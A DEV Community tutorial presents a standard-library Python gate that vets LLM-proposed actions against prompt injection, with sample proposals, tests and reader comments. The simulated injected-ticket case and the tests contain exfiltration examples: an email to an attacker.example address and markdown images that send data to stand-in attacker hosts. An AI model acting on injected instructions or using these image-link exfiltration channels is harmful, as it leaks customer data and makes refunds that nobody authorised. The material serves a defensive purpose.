DEV Community

Call Karma
Call Karma

Posted on

Let the model propose, let code decide: a tiny action gate for prompt-injection-prone AI workflows

If your app feeds customer emails, tickets, web pages or files to an LLM and then does something with the output, you have a prompt-injection problem whether or not you've seen an attack yet.

OWASP lists prompt injection as LLM01 in its 2025 Top 10 for LLM applications and says it is "unclear if there are fool-proof methods of prevention." The UK NCSC argued in December 2025 that it isn't analogous to SQL injection: there's no parameterised-query equivalent, because inside the model "there is only ever 'next token'."

So this tutorial doesn't try to detect injections. It assumes the model will sometimes be fooled and makes sure that doesn't matter much. The principle comes from Beurer-Kellner et al. (2025), Design Patterns for Securing LLM Agents against Prompt Injections:

once an LLM agent has ingested untrusted input, it must be constrained so that it is impossible for that input to trigger any consequential actions

We'll build a ~100-line, standard-library Python action gate:

  1. The model never calls tools. It returns JSON proposals.
  2. Unknown actions are refused.
  3. Any proposal referencing a URL or email domain outside an allowlist is refused, including inside draft text (markdown images are a classic exfiltration channel; OWASP's Scenario #2 describes one).
  4. Consequential actions proposed after untrusted content was in context go to a human queue.
  5. Business limits are enforced in code no matter what the prompt said.

The policy lives in code, not in the prompt

ACTIONS = {
    # name:             (consequential?, may_send_outside?)
    "draft_reply":      (False, False),
    "add_internal_tag": (False, False),
    "summarize":        (False, False),
    "issue_refund":     (True,  False),
    "change_email":     (True,  False),
    "send_email":       (True,  True),
}
ALLOWED_DOMAINS = {"callkarma.ai"}   # example allowlist; use your own
Enter fullscreen mode Exit fullscreen mode

The full gate

"""
action_gate.py - a deterministic gate between an LLM's *proposed* actions and
your real systems. The model never calls tools directly; it returns JSON
proposals, and this code decides what runs, what waits for a human, and what
is refused.

Core rule (after Beurer-Kellner et al., 2025): once untrusted content is in the
model's context, it must not be able to trigger a consequential action on its
own. Here that means: consequential actions are queued for human approval, and
anything that could send data outside an allowlist is refused outright.

Standard library only. Python 3.9+.
"""
from __future__ import annotations

import json
import re
from dataclasses import dataclass, field

# Policy: what each action is allowed to do. Kept in code, not in the prompt.
ACTIONS = {
    # name:            (consequential?, may_send_outside?)
    "draft_reply":     (False, False),   # a draft for an agent to review
    "add_internal_tag": (False, False),
    "summarize":       (False, False),
    "issue_refund":    (True,  False),
    "change_email":    (True,  False),
    "send_email":      (True,  True),
}

ALLOWED_DOMAINS = {"callkarma.ai"}          # example allowlist for links/recipients
MAX_REFUND_WITHOUT_REVIEW = 0               # every refund is reviewed in this example

URL_RE = re.compile(r"https?://([^/\s\"')]+)", re.I)
EMAIL_RE = re.compile(r"[\w.+-]+@([\w-]+\.[\w.-]+)")


@dataclass
class Decision:
    action: str
    verdict: str            # "run" | "needs_human" | "refuse"
    reason: str
    args: dict = field(default_factory=dict)


def _domains_in(value) -> set[str]:
    text = json.dumps(value)
    found = {m.group(1).lower() for m in URL_RE.finditer(text)}
    found |= {m.group(1).lower() for m in EMAIL_RE.finditer(text)}
    return found


def _outside_allowlist(domains: set[str]) -> set[str]:
    return {d for d in domains
            if not any(d == a or d.endswith("." + a) for a in ALLOWED_DOMAINS)}


def gate(proposal: dict, context_has_untrusted: bool) -> Decision:
    """Decide what to do with ONE proposed action."""
    name = proposal.get("action")
    args = proposal.get("args", {})
    if name not in ACTIONS:
        return Decision(str(name), "refuse", "unknown action (not on the allowlist)", args)

    consequential, may_send_outside = ACTIONS[name]

    # 1. Exfiltration channel check: links or recipients outside the allowlist.
    #    Applies to every action, because even a draft can carry a tracking link.
    outside = _outside_allowlist(_domains_in(args))
    if outside:
        return Decision(name, "refuse", f"references non-allowlisted domain(s): {sorted(outside)}", args)

    # 2. Consequential actions never run on model say-so when untrusted text is in context.
    if consequential and context_has_untrusted:
        return Decision(name, "needs_human", "consequential action proposed after reading untrusted content", args)

    # 3. Business limits enforced in code regardless of context.
    if name == "issue_refund" and float(args.get("amount", 0)) > MAX_REFUND_WITHOUT_REVIEW:
        return Decision(name, "needs_human", "refund above no-review limit", args)

    if consequential:
        return Decision(name, "needs_human", "consequential action", args)
    return Decision(name, "run", "low-consequence, internal only", args)


def gate_all(model_output: str, context_has_untrusted: bool) -> list[Decision]:
    try:
        proposals = json.loads(model_output)
    except json.JSONDecodeError:
        return [Decision("<unparseable>", "refuse", "model output is not valid JSON")]
    if not isinstance(proposals, list):
        proposals = [proposals]
    return [gate(p, context_has_untrusted) for p in proposals]


if __name__ == "__main__":
    import sys
    data = json.load(open(sys.argv[1] if len(sys.argv) > 1 else "sample_proposals.json"))
    for case in data:
        print(f"\n== {case['name']} (untrusted in context: {case['untrusted']})")
        for d in gate_all(json.dumps(case["model_output"]), case["untrusted"]):
            print(f"  {d.verdict:12} {d.action:17} {d.reason}")
Enter fullscreen mode Exit fullscreen mode

A few details worth calling out:

  • Subdomain matching is suffix-with-a-dot. docs.example.com matches example.com, but example.com.evil.example does not. Naive endswith("example.com") checks get this wrong.
  • The domain scan runs on every action, including drafts. A draft that a human agent later sends, or a chat UI that auto-renders ![x](https://evil.example/p?d=...), is an exit path.
  • context_has_untrusted is set by your pipeline, not the model. If any customer-, web- or file-sourced text went into the prompt, it's True. Don't ask the model whether it saw an injection.

Try it on sample proposals

sample_proposals.json contains simulated model outputs (no LLM call needed). Case 2 is a hypothetical injected ticket whose hidden text pushed the model into proposing a refund, an outbound email and a tracking image:

[
  {"name": "Normal ticket: customer asks about invoice date",
   "untrusted": true,
   "model_output": [
     {"action": "summarize", "args": {"text": "Customer asks about an invoice date."}},
     {"action": "draft_reply", "args": {"body": "Thanks, I have passed your invoice question to our billing team. More: https://callkarma.ai/"}}
   ]},
  {"name": "HYPOTHETICAL injected ticket: hidden text asks for a refund and data forwarding",
   "untrusted": true,
   "model_output": [
     {"action": "issue_refund", "args": {"order": "A-1001", "amount": 480}},
     {"action": "send_email", "args": {"to": "billing-backup@attacker.example", "body": "Customer list attached"}},
     {"action": "draft_reply", "args": {"body": "Done! See ![status](https://tracker.attacker.example/p?d=ACCOUNT_DATA)"}}
   ]},
  {"name": "Model invents a tool",
   "untrusted": true,
   "model_output": [{"action": "delete_account", "args": {"id": "C-77"}}]},
  {"name": "Staff-initiated task, no external content",
   "untrusted": false,
   "model_output": [{"action": "change_email", "args": {"customer": "C-12", "new_email": "<address from verified customer request>"}}]}
]
Enter fullscreen mode Exit fullscreen mode
$ python3 action_gate.py

== Normal ticket: customer asks about invoice date (untrusted in context: True)
  run          summarize         low-consequence, internal only
  run          draft_reply       low-consequence, internal only

== HYPOTHETICAL injected ticket: hidden text asks for a refund and data forwarding (untrusted in context: True)
  needs_human  issue_refund      consequential action proposed after reading untrusted content
  refuse       send_email        references non-allowlisted domain(s): ['attacker.example']
  refuse       draft_reply       references non-allowlisted domain(s): ['tracker.attacker.example']

== Model invents a tool (untrusted in context: True)
  refuse       delete_account    unknown action (not on the allowlist)

== Staff-initiated task, no external content (untrusted in context: False)
  needs_human  change_email      consequential action
Enter fullscreen mode Exit fullscreen mode

The summary and draft for the normal ticket run. For the injected ticket the refund is held for a person, and both exfiltration attempts are refused, without the model having to notice anything.

Tests

import json, unittest
from action_gate import gate, gate_all

class T(unittest.TestCase):
    def test_low_risk_runs(self):
        self.assertEqual(gate({"action": "summarize", "args": {"text": "hi"}}, True).verdict, "run")
    def test_refund_after_untrusted_needs_human(self):
        self.assertEqual(gate({"action": "issue_refund", "args": {"amount": 5}}, True).verdict, "needs_human")
    def test_external_recipient_refused(self):
        d = gate({"action": "send_email", "args": {"to": "x@evil.example"}}, False)
        self.assertEqual(d.verdict, "refuse")
    def test_markdown_image_exfil_refused(self):
        d = gate({"action": "draft_reply", "args": {"body": "![a](https://evil.example/p?d=secret)"}}, True)
        self.assertEqual(d.verdict, "refuse")
    def test_subdomain_of_allowlisted_ok(self):
        self.assertEqual(gate({"action": "draft_reply", "args": {"body": "https://www.callkarma.ai/"}}, True).verdict, "run")
    def test_lookalike_domain_refused(self):
        self.assertEqual(gate({"action": "draft_reply", "args": {"body": "https://callkarma.ai.evil.example/"}}, True).verdict, "refuse")
    def test_unknown_action_refused(self):
        self.assertEqual(gate({"action": "rm_rf"}, False).verdict, "refuse")
    def test_bad_json_refused(self):
        self.assertEqual(gate_all("not json", True)[0].verdict, "refuse")
    def test_consequential_without_untrusted_still_reviewed(self):
        self.assertEqual(gate({"action": "change_email", "args": {"new_email": "<verified>"}}, False).verdict, "needs_human")

if __name__ == "__main__":
    unittest.main()
Enter fullscreen mode Exit fullscreen mode
$ python3 test_action_gate.py
.........
Ran 9 tests in 0.000s
OK
Enter fullscreen mode Exit fullscreen mode

Wiring it to a real model

  1. Use your provider's structured-output / JSON mode, and validate against a schema before gate_all().
  2. Set context_has_untrusted=True whenever retrieved or user-supplied content was included.
  3. Execute run decisions with credentials held by your app, not exposed to the model (OWASP mitigation #4).
  4. Put needs_human decisions in a review queue that shows the reason. The design-patterns paper warns that overloaded reviewers become a risk themselves, so keep that queue short by letting low-consequence actions through.
  5. Log every refuse. A spike is a useful signal even though you aren't relying on detection.

Limits (read these)

  • This gate stops injected text from triggering consequential actions and from leaking via allowlist-violating links/recipients. It doesn't stop the model from writing a misleading summary or a bad draft. Those still need normal review.
  • Allowlisting by domain is coarse. Real systems need per-field rules (e.g. change_email should only accept an address verified through a separate flow).
  • The URL/email regexes here are deliberately simple. Obfuscated or encoded data (OWASP Scenario #9, or non-printing characters) needs output normalisation, and ideally a strict output schema with no free-text fields that leave your system.
  • Internal-only actions can still be abused (e.g. a message asking a colleague to approve something), so "internal" ≠ "safe."

For a deeper treatment, read the paper's action-selector, plan-then-execute and dual-LLM patterns. This gate is a pragmatic first step towards them, not a replacement.

References

Written by the Call Karma team. We build AI for customer conversations at callkarma.ai.

Top comments (2)

Collapse
 
shalendra_gaur_ecd0567a49 profile image
Shalendra gaur •

Good principle, and having the pipeline (not the model) set context_has_untrusted is the right call.

One data point from a related gate in a different domain: a deterministic check between a model's proposed changes and the state it edits (a service graph, not tickets). We sent 10,000,000 proposals through the gate of the Python reference model on a CPU, 1,401,041 of them injection texts (the rest legal, mutated, numeric extremes, replays of old proposals). None of the injection proposals committed, and the held state matched an independent reference at every comparison. The run also found four things to harden, including an integer-size limit that raised an uncaught exception on 90,943 proposals, so a fuzz run like that is worth doing on yours. One place to look: float(args.get("amount", 0)) raises on a non-numeric string, so the gate throws instead of refusing.

Two design points that carried over: a refused proposal changes nothing (all or nothing), and the host's state holds only admitted changes, with every prompt rebuilt from it.

Method and the four findings: github.com/gaurshalendra2412/axi-r...

I'm on Rajnish Choubey's team; the architecture is his, and I run the tests with an AI assistant as a tool.

Collapse
 
dosaygo profile image
DOSAYGO •

When a human reviewer or workflow has to inspect an untrusted link inside an inbound customer email or ticket, how do you isolate the browser session so it cannot touch the local endpoint?